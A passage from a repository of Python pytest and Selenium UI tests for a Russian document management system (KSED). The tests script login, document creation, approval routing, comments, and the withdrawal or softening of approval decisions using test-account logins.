LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDinnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDAcceptInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
Logout = page2.USER_LOGOUTs() # Выход из системы
# Шаг 5 согласование на внутреннее согласование
page3 = KSEDAcceptInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('tst_user11', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.AcceptInnerSogl()
Logout = page2.USER_LOGOUTs() # Выход из системы
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_697(web_browser):
""" РАБОТА С ЗАМЕЧАНИЯМИ (Внесение замечаний к документу) """
# Шаг 1 создание документа
page = KSEDaddComment(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDacceptSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDaddComment(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
addComment = page2.addComment()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_700(web_browser):
""" ВЫПОЛНЕНИЕ ДЕЙСТВИЯ «ЗАБРАТЬ ЗАДАЧУ «СОГЛАСОВАТЬ ДОКУМЕНТ»"""
# Шаг 1 создание документа
page = KSEDtakeTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
page = KSEDtakeTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 забрать задачу
page2 = KSEDtakeTask(web_browser)
LogIn_page = page2.LogIN('tst_user1', 'Changeme!')
getDoc = page2.getDoc()
take = page2.takeTask_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_701(web_browser):
""" ВЫПОЛНЕНИЕ ДЕЙСТВИЯ «ВЕРНУТЬ ЗАДАЧУ «СОГЛАСОВАТЬ ДОКУМЕНТ» """
# Шаг 1 создание документа
page = KSEDbackTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
page = KSEDbackTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 забрать задачу
page2 = KSEDbackTask(web_browser)
LogIn_page = page2.LogIN('tst_user1', 'Changeme!')
getDoc = page2.getDoc()
take = page2.takeTask_RD()
# Шаг 5 вернуть задачу
take = page2.backTask_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_702(web_browser):
""" ОТЗЫВ РЕШЕНИЯ """
# Шаг 1 создание документа
page = KSEDreturnDecision_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
page = KSEDreturnDecision_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDreturnDecision_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
reject = page2.rejectDoc()
# Шаг 4 отзыв решения
returnDecision = page2.returnDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_703(web_browser):
""" СМЯГЧЕНИЕ РЕШЕНИЯ """
# Шаг 1 создание документа
page = KSEDsoftDecision_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
page = KSEDsoftDecision_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDsoftDecision_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
reject = page2.rejectDoc()
# Шаг 4 отзыв решения
returnDecision = page2.softDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_704(web_browser):
""" ВНУТРЕННЕЕ СОГЛАСОВАНИЕ (Отклонение и последующий отзыв решения)"""
# Шаг 1 создание документа
page = KSEDchangeAfterRejectInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDinnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDchangeAfterRejectInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
Logout = page2.USER_LOGOUTs() # Выход из системы
# Шаг 5 Отклонение и отзыв решения на внутреннем согласовании
page3 = KSEDchangeAfterRejectInnerSogl_RD(web_browser)
LogIn_page = page3.LogIN('tst_user11', 'Changeme!')
getDoc = page3.getDoc()
innerSogl = page3.RejectInnerSogl()
innerSogl = page3.returnDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_705(web_browser):
""" Внутреннее согласование - смягчение решения после отклонения"""
# Шаг 1 создание документа
page = KSEDsoftDesAfterRejectInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDinnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDsoftDesAfterRejectInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
Logout = page2.USER_LOGOUTs() # Выход из системы
# Шаг 5 Отклонение и отзыв решения на внутреннем согласовании
page3 = KSEDsoftDesAfterRejectInnerSogl_RD(web_browser)
LogIn_page = page3.LogIN('tst_user11', 'Changeme!')
getDoc = page3.getDoc()
innerSogl = page3.RejectInnerSogl()
innerSogl = page3.softDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_706(web_browser):
""" Внутреннее согласование - отзыв решения после согласования"""
# Шаг 1 создание документа
page = KSEDchangeAfterAcceptInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDinnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDchangeAfterAcceptInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
Logout = page2.USER_LOGOUTs() # Выход из системы
# Шаг 5 Отклонение и отзыв решения на внутреннем согласовании
page3 = KSEDchangeAfterAcceptInnerSogl_RD(web_browser)
LogIn_page = page3.LogIN('tst_user11', 'Changeme!')
getDoc = page3.getDoc()
innerSogl = page3.AcceptInnerSogl()
innerSogl = page3.returnDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_707(web_browser):
""" Внутреннее согласование - отзыв решения после согласования с замечаниями"""
# Шаг 1 создание документа
page = KSEDchangeAfterAcceptWithRemarkInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDinnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDchangeAfterAcceptWithRemarkInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
Logout = page2.USER_LOGOUTs() # Выход из системы
# Шаг 5 Отклонение и отзыв решения на внутреннем согласовании
page3 = KSEDchangeAfterAcceptWithRemarkInnerSogl_RD(web_browser)
LogIn_page = page3.LogIN('tst_user11', 'Changeme!')
getDoc = page3.getDoc()
innerSogl = page3.AcceptInnerSogl()
innerSogl = page3.returnDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_708(web_browser):
""" Внутреннее согласование - смягчение решения после согласования с замечаниями"""
# Шаг 1 создание документа
page = KSEDsoftDisAfterAcceptWithRemarkInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDinnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDsoftDisAfterAcceptWithRemarkInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
Logout = page2.USER_LOGOUTs() # Выход из системы
# Шаг 5 Отклонение и отзыв решения на внутреннем согласовании
page3 = KSEDsoftDisAfterAcceptWithRemarkInnerSogl_RD(web_browser)
LogIn_page = page3.LogIN('tst_user11', 'Changeme!')
getDoc = page3.getDoc()
innerSogl = page3.AcceptInnerSogl()
innerSogl = page3.softDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_709(web_browser):
""" Внутреннее согласование - добавление комментариев"""
# Шаг 1 создание документа
page = KSEDaddCommentInnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDinnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDaddCommentInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
Logout = page2.USER_LOGOUTs() # Выход из системы
# Шаг 5 согласование на внутреннее согласование
page3 = KSEDaddCommentInnerSogl_RD(web_browser)
LogIn_page = page2.LogIN('tst_user11', 'Changeme!')
getDoc = page2.getDoc()
addComment = page2.addComment()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_710(web_browser):
""" Внутреннее согласование после удаления добавленого комментария"""
# Шаг 1 создание документа
page = KSEDInnerSoglAfterAddComment_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDinnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 на правление на внутреннее согласование
page2 = KSEDInnerSoglAfterAddComment_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
innerSogl = page2.innerSogl()
Logout = page2.USER_LOGOUTs() # Выход из системы
# Шаг 5 согласование на внутреннее согласование
page3 = KSEDInnerSoglAfterAddComment_RD(web_browser)
LogIn_page = page2.LogIN('tst_user11', 'Changeme!')
getDoc = page2.getDoc()
addComment = page2.addComment()
accept = page2.AcceptInnerSoglWithComment()
accept2 = page2.AcceptInnerSogl()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_711(web_browser):
""" Основное согласование c комментариями """
# Шаг 1 создание документа
page = KSEDacceptSoglwithRemark_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
# Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
# page = KSEDacceptSoglwithRemark_RD(web_browser)
# LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
# getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDacceptSoglwithRemark_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
accept = page2.acceptDoc()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_712(web_browser):
""" Основное согласование c комментариями и отзыв решения"""
# Шаг 1 создание документа
page = KSEDrejectAfterAcceptSoglwithRemark_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
# Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
# page = KSEDacceptSoglwithRemark_RD(web_browser)
# LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
# getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDrejectAfterAcceptSoglwithRemark_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
accept = page2.acceptDoc()
returnDis = page2.returnDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_713(web_browser):
""" Основное согласование c комментариями и смягчение решения"""
# Шаг 1 создание документа
page = KSEDsoftDisAfterAcceptSoglwithRemark_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
# Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
# page = KSEDacceptSoglwithRemark_RD(web_browser)
# LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
# getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDsoftDisAfterAcceptSoglwithRemark_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
accept = page2.acceptDoc()
softDis = page2.softDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_714(web_browser):
""" Отзыв решения делегата после отклонения согласования основного согласующего"""
# Шаг 1 создание документа
page = KSEDreturnDisFromDelegatAfterReject_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
# Шаг 2 создание маршрута
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDreturnDisFromDelegatAfterReject_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
reject = page2.rejectDoc()
Logout = page.USER_LOGOUTs() # Выход из системы
page3 = KSEDreturnDisFromDelegatAfterReject_RD(web_browser)
LogIn_page = page3.LogIN('tst_user1', 'Changeme!')
getDoc = page2.getDoc()
returnDis = page3.returnDecision_RD()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_715(web_browser):
""" Отзыв решения после согласования делегата"""
# Шаг 1 создание документа
page = KSEDreturnDisAfterTakeTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
page = KSEDreturnDisAfterTakeTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 забрать задачу
page2 = KSEDreturnDisAfterTakeTask(web_browser)
LogIn_page = page2.LogIN('tst_user1', 'Changeme!')
getDoc = page2.getDoc()
take = page2.takeTask_RD()
reject = page2.rejectDoc()
Logout = page.USER_LOGOUTs() # Выход из системы
page3 = KSEDreturnDisAfterTakeTask(web_browser)
LogIn_page = page3.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
returnDis = page3.returnDecision_RD()
@pytest.mark.KSED_smoke_test
# #@pytest.fixture(scope="session")
def test_716(web_browser):
""" Отзыв решения делегата после отклонения согласования основного согласующего"""
# Шаг 1 создание документа
page = KSEDsoftDisFromDelegatAfterReject_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
# Шаг 2 создание маршрута
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDsoftDisFromDelegatAfterReject_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
reject = page2.rejectDoc()
Logout = page.USER_LOGOUTs() # Выход из системы
page3 = KSEDsoftDisFromDelegatAfterReject_RD(web_browser)
LogIn_page = page3.LogIN('tst_user1', 'Changeme!')
getDoc = page3.getDoc()
returnDis = page3.softDecision_RD()
@pytest.mark.KSED_smoke_test
# #@pytest.fixture(scope="session")
def test_717(web_browser):
""" Смягчение решения после отклонения делегата"""
# Шаг 1 создание документа
page = KSEDsoftDisAfterTakeTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
page = KSEDsoftDisAfterTakeTask(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 забрать задачу
page2 = KSEDsoftDisAfterTakeTask(web_browser)
LogIn_page = page2.LogIN('tst_user1', 'Changeme!')
getDoc = page2.getDoc()
take = page2.takeTask_RD()
reject = page2.rejectDoc()
Logout = page.USER_LOGOUTs() # Выход из системы
page3 = KSEDsoftDisAfterTakeTask(web_browser)
LogIn_page = page3.LogIN('YatskinRS', 'Changeme!')
getDoc = page3.getDoc()
returnDis = page3.softDecision_RD()
```
test_PD.py
```#!/bin/sh
#!/usr/bin/python3
# -*- encoding=utf8 -*-
# How to run:
#.... python -m pytest -v --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
#.... allure generate ./allure_report && allure open allure-report
# -s команда вывода всех print в консоль
import pytest
import allure
from KSED.Tests.tk11664 import KSEDCreatDocPD
from KSED.Tests.tk13799 import KSEDCreatDocPDSoglas
from KSED.Tests.tk11955 import KSEDCreatDocPDSoglas_sendDorab
from KSED.Tests.tk14079 import KSEDPDSoglas
from KSED.Tests.tk11957 import KSEDPDPodpisanie_Otklon
@allure.feature('Создание Произвольного документа')
@pytest.mark.KSED_smoke_test_prior
#@pytest.fixture(scope="session")
def test_11664(web_browser):
""" Создание Произвольного документа. """
page = KSEDCreatDocPD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
@allure.feature('Направление Произвольного документа на согласование')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_13799(web_browser):
""" Создание и Направление Протокола на согласование. """
page = KSEDCreatDocPDSoglas(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
Attach = page.attachment()
NaprNaSogl = page.NapSoglasovanie()
@allure.feature('Возврат произвольного документа на доработку при согласовании.')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11955(web_browser):
""" Возврат произвольного документа на доработку при согласовании.
Тест падает, причина - не приходит уведомление согласующему (БАГ!)"""
page = KSEDCreatDocPDSoglas_sendDorab(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!') # Авторизуемся
getDoc = page.getDoc()
#notification = page.notificationOpen() # Откроем уведомления и перейдем в документ
REJECTED = page.REJECTED() # Отклоним и вернем документ на доработку
NaprNaSogl = page.NapSoglasovanie() # Направим на согласование
@allure.feature('Согласование произвольного документа.')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_14079(web_browser):
""" Согласование произвольного документа """
page = KSEDPDSoglas(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!') # Авторизуемся
getDoc = page.getDoc()
Soglasovanie = page.Soglasovanie()
@allure.feature('Отклонение подписания и возврат ПД на доработку.')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11957(web_browser):
""" Отклонение подписания и возврат ПД на доработку """
page = KSEDPDPodpisanie_Otklon(web_browser)
LogIn_page = page.LogIN('tst_gid', '12345') # Авторизуемся
getDoc = page.getDoc()
Podpisanie_Otklon = page.Podpisanie_Otklon()
```
tk12936.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time
from selenium.webdriver.common.keys import Keys
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
from KSED.TestData.pages import MPages
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDDocPorSendAllure(MPages, dataTest, KSEDLocators):
def __init__(self, web_driver, uri=dataTest.baseURL):
super().__init__(web_driver, uri)
@allure.step("Авторизация")
def LogIN(self, username, password):
self.username_text = username
self.password_text = password
self.LogIn_button.click()
self.wait_page_loaded()
#wait_page_loaded(self._web_driver)
assert "АРМ" in self._web_driver.title or "Документ" in self._web_driver.title
# Открытие документа из прошлого ТК
def getDoc(self):
my_file = open("Tests/linkDocPoruchenie.txt", "r")
my_string = my_file.read()
my_string.strip()
self._web_driver.get(my_string)
my_file.close()
self.wait_page_loaded()
# Отправка отчета
def sendAllure(self, ):
# Кликнем по действию "Отправить отчет" в функциональном меню "Действия"
self.actionSendAllere.wait_to_be_clickable()
self.actionSendAllere.click()
# Заполним поле "Текст отчета"
self.textAllur.wait_to_be_clickable()
self.textAllur.click()
# Добавим связь с документом
self.btnAddSvyz.click()
self.searchDoc.send_keys("У" + Keys.RETURN)
self.oneListEl.wait_until_not_visible()
self.oneListEl.click()
self.btnOK.click()
# Нажмем кнопку "Отправить"
self.btnSend.wait_to_be_clickable()
self.btnSend.click()
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id="confirm-edit-fields-form-container_mask"]')
self.wait_page_loaded()
# Проверим статус документа
self.osnSvedeniya.wait_to_be_clickable()
self.osnSvedeniya.click()
self.status_Doc.wait_until_not_visible()
assert "Исполнено" in self.status_Doc.text
```
tk12913.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time, datetime
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.action_chains import ActionChains
from selenium.common.exceptions import *
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
from KSED.Pages.PageObject import Locator
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDPrintAttach(Locator, dataTest, KSEDLocators):
def __init__(self, web_driver, uri=''):
super().__init__(web_driver, uri)
self.get(dataTest.baseURL)
wait_page_loaded(self.w)
@allure.step("Авторизация")
def LogIN(self, username, password):
# wait = WebDriverWait(self.w, 10, poll_frequency=1,
# ignored_exceptions=[NoSuchElementException,
# ElementNotVisibleException,
# ElementNotSelectableException])
page = Locator(self.w)
page.username_text = username
print(Locator.username_text)
page.password_text = password
page.LogIn_button.click()
wait_page_loaded(self.w)
assert "АРМ" in self.w.title
# Открытие документа из прошлого ТК
def getDoc(self):
my_file = open("Tests/linkDocSZ.txt", "r")
my_string = my_file.read()
my_string.strip()
self.w.get(my_string)
my_file.close()
#self.w.get(KSEDLocators.LinkDoc)
wait_page_loaded(self.w)
def printAttach(self):
wait = WebDriverWait(self.w, 2, poll_frequency=1,
ignored_exceptions=[NoSuchElementException,
ElementNotVisibleException,
ElementNotSelectableException])
page = Locator(self.w)
#time.sleep(3)
page.btnPrint.click()
#time.sleep(1)
# w = len(self.w.switch_to_alert())#window_handles)
# print(w)
time.sleep(2)
# assert (w == 2)
#assert self.w.switch_to_alert() is True
#WebDriverWait(self.w, 3).until(EC.alert_is_present())
#time.sleep(10)
#assert wait.until(EC.invisibility_of_element_located((By.XPATH, KSEDLocators.btnPrint)))
# alert = self.w.switch_to_alert()
# alert.accept()
# print(alert.text)
```
test_Resolution.py
```#!/bin/sh
#!/usr/bin/python3
# -*- encoding=utf8 -*-
# How to run:
#.... python -m pytest -v --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
#.... allure generate ./allure_report && allure open allure-report
# -s команда вывода всех print в консоль
import pytest
import allure
from KSED.Tests.tk12957 import KSEDCreatDocREZ
